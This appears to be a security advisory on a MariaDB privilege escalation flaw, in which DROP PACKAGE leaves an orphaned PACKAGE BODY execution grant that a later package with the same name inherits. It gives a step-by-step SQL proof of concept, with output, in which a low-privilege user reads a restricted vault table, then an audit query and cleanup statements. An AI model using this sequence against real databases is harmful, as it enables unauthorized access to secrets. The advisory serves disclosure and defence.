A high-severity privilege escalation flaw in MariaDB Server allowed unprivileged database users to hijack administrative packages and execute queries with DBA-level root authority. Documented in coordinated public disclosure via HackerOne (Report #3908943) by security researcher heyoimjeb, the vulnerability arises from an asymmetrical catalog cleanup defect: executing DROP PACKAGE deletes routine definitions from mysql.proc but leaves the PACKAGE BODY execution grant orphaned in the security authorization table mysql.procs_priv.

Specification Parameter Vulnerability Detail & Telemetry Technical Risk & Exploit Impact
Target Software MariaDB Server 12.3.2 GA (verified in official mariadb:latest container) Affects all active installations operating in Oracle compatibility mode (sql_mode=ORACLE).
Vulnerability Identifier MARIADB-2026-DROP-PACKAGE-PRIVESC / CWE-272 & CWE-284 Catalog authorization omission causing persistent unearned privilege escalation.
Severity Rating High (CVSS 7.7) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N Low-privilege user silently gains execution rights on future administrative routines.
Catalog Failure Point mysql.procs_priv (orphaned Routine_type = 'PACKAGE BODY' grant) Failure to cascade authorization revocation during package deletion.
Reporter Attribution Security Researcher heyoimjeb Disclosed via HackerOne bug bounty program with reproducible test script.

PL/SQL Package Architecture & The Catalog Drop Asymmetry

MariaDB provides enterprise compatibility with Oracle PL/SQL packages when the server runs with sql_mode=ORACLE. A package is composed of two distinct database objects: the package specification (which declares public functions, procedures, and types) and the package body (which provides the executable implementation logic).

Behind the scenes, MariaDB tracks these routines inside system catalog tables:

  • mysql.proc: Stores routine definitions, separating the specification (Routine_type = 'PACKAGE') and implementation (Routine_type = 'PACKAGE BODY').
  • mysql.procs_priv: Controls execution authorization, tracking user permissions for specific routines.

When an administrator drops a standalone stored procedure or function using DROP PROCEDURE or DROP FUNCTION, MariaDB's catalog maintenance logic cleanly purges both the routine definition from mysql.proc and any corresponding authorization grants from mysql.procs_priv. Even when executing DROP PACKAGE BODY, the grant row is cleanly eliminated.

However, when executing DROP PACKAGE <name>, an oversight in sql/sql_acl.cc causes asymmetrical catalog cleanup. While the command successfully removes both mysql.proc rows, it only removes the PACKAGE row from mysql.procs_priv, completely leaving behind the PACKAGE BODY grant:

SQL Drop Statement mysql.proc Cleanup mysql.procs_priv Cleanup Residual Catalog State
DROP PROCEDURE c_proc Removes PROCEDURE definition Removes PROCEDURE grant CLEAN: Zero residual authorization.
DROP FUNCTION c_func Removes FUNCTION definition Removes FUNCTION grant CLEAN: Zero residual authorization.
DROP PACKAGE BODY c_pkg Removes PACKAGE BODY definition Removes PACKAGE BODY grant CLEAN: Zero residual authorization.
DROP PACKAGE c_pkg Removes both PACKAGE & BODY rows Removes only PACKAGE grant! VULNERABLE: PACKAGE BODY grant remains active and orphaned!

The Exploit Mechanism: Privilege Inheritance on Recreated Packages

Because execution privileges in MariaDB gate specifically on the PACKAGE BODY entry in mysql.procs_priv, leaving this row behind creates a latent security backdoor.

Consider the following attack sequence documented by researcher heyoimjeb:

Step 1: Benign Package Lifecycle

An administrator creates a benign package kvchk and grants execution rights to a low-privilege reader account ('reader'@'%'):

SET sql_mode=ORACLE;
USE appdb;

DELIMITER $$
CREATE PACKAGE kvchk AS FUNCTION f RETURN VARCHAR2(64); END$$
CREATE PACKAGE BODY kvchk AS FUNCTION f RETURN VARCHAR2(64) AS BEGIN RETURN 'benign'; END; END$$
DELIMITER ;

GRANT EXECUTE ON PACKAGE BODY appdb.kvchk TO 'reader'@'%';

Step 2: Dropping the Package

The administrator subsequently decides to decommission the package:

DROP PACKAGE kvchk;

If we inspect the system catalog tables immediately following the drop, the definition is gone from mysql.proc, but the grant stubbornly survives in mysql.procs_priv:

=== mysql.proc rows after DROP PACKAGE ===
proc_rows: 0

=== mysql.procs_priv after DROP PACKAGE ===
Db      User    Routine_name    Routine_type    Proc_priv
appdb   reader  kvchk           PACKAGE BODY    Execute

Step 3: Privileged Package Re-Creation

At a later date, the root database administrator creates a new, sensitive package sharing the same name (kvchk). This new package operates with default SQL SECURITY DEFINER rights and queries a highly restricted internal table (vault) containing enterprise secrets:

DELIMITER $$
CREATE PACKAGE kvchk AS FUNCTION f RETURN VARCHAR2(64); END$$
CREATE PACKAGE BODY kvchk AS FUNCTION f RETURN VARCHAR2(64) AS
  v VARCHAR2(64);
BEGIN
  SELECT secret INTO v FROM vault WHERE id=1;
  RETURN v;
END;
END$$
DELIMITER ;

Crucially, the DBA never grants reader any privilege on this new package.

Step 4: Unprivileged Secret Extraction

When the unprivileged user reader attempts to query the vault table directly, the database server blocks the request as expected:

reader> SELECT * FROM vault;
ERROR 1142 (42000): SELECT command denied to user 'reader'@'localhost' for table `appdb`.`vault`

However, because the orphaned PACKAGE BODY grant remains active in mysql.procs_priv, the low-privilege user simply invokes the package function:

reader> SET sql_mode=ORACLE; SELECT kvchk.f() AS leaked;
+---------------------+
| leaked              |
+---------------------+
| HUNT-VAULT-9f3a2c71 |
+---------------------+
1 row in set (0.001 sec)

The low-privilege user successfully bypassed all access control gates, reading sensitive financial tokens and administrative secrets via the newly defined package!

Role Propagation & Multi-Tenant Persistence

The researcher further demonstrated that this vulnerability propagates through MariaDB's database role hierarchy. If EXECUTE ON PACKAGE BODY is granted to a role (e.g., intern_role) rather than directly to a user account, dropping the package leaves an identical orphan in mysql.procs_priv. Any user assigned to that role in the future automatically inherits execution rights on any recreated package of the same name.

Remediation & Defensive Audit Script

MariaDB patched the issue in sql/sql_acl.cc by ensuring that DROP PACKAGE issues catalog deletion queries for both PACKAGE and PACKAGE BODY routine types in mysql.procs_priv.

Database administrators should immediately run the following audit query to identify any orphaned package body grants residing in their systems:

-- Detect orphaned PACKAGE BODY grants in mysql.procs_priv:
SELECT p.Db, p.User, p.Routine_name, p.Routine_type, p.Proc_priv
FROM mysql.procs_priv p
LEFT JOIN mysql.proc m 
  ON p.Db = m.db 
  AND p.Routine_name = m.name 
  AND m.type = 'PACKAGE BODY'
WHERE p.Routine_type = 'PACKAGE BODY'
  AND m.name IS NULL;

If any rows are returned, purge the orphaned authorizations immediately:

DELETE FROM mysql.procs_priv 
WHERE Routine_type = 'PACKAGE BODY' 
  AND Routine_name NOT IN (SELECT name FROM mysql.proc WHERE type = 'PACKAGE BODY');
FLUSH PRIVILEGES;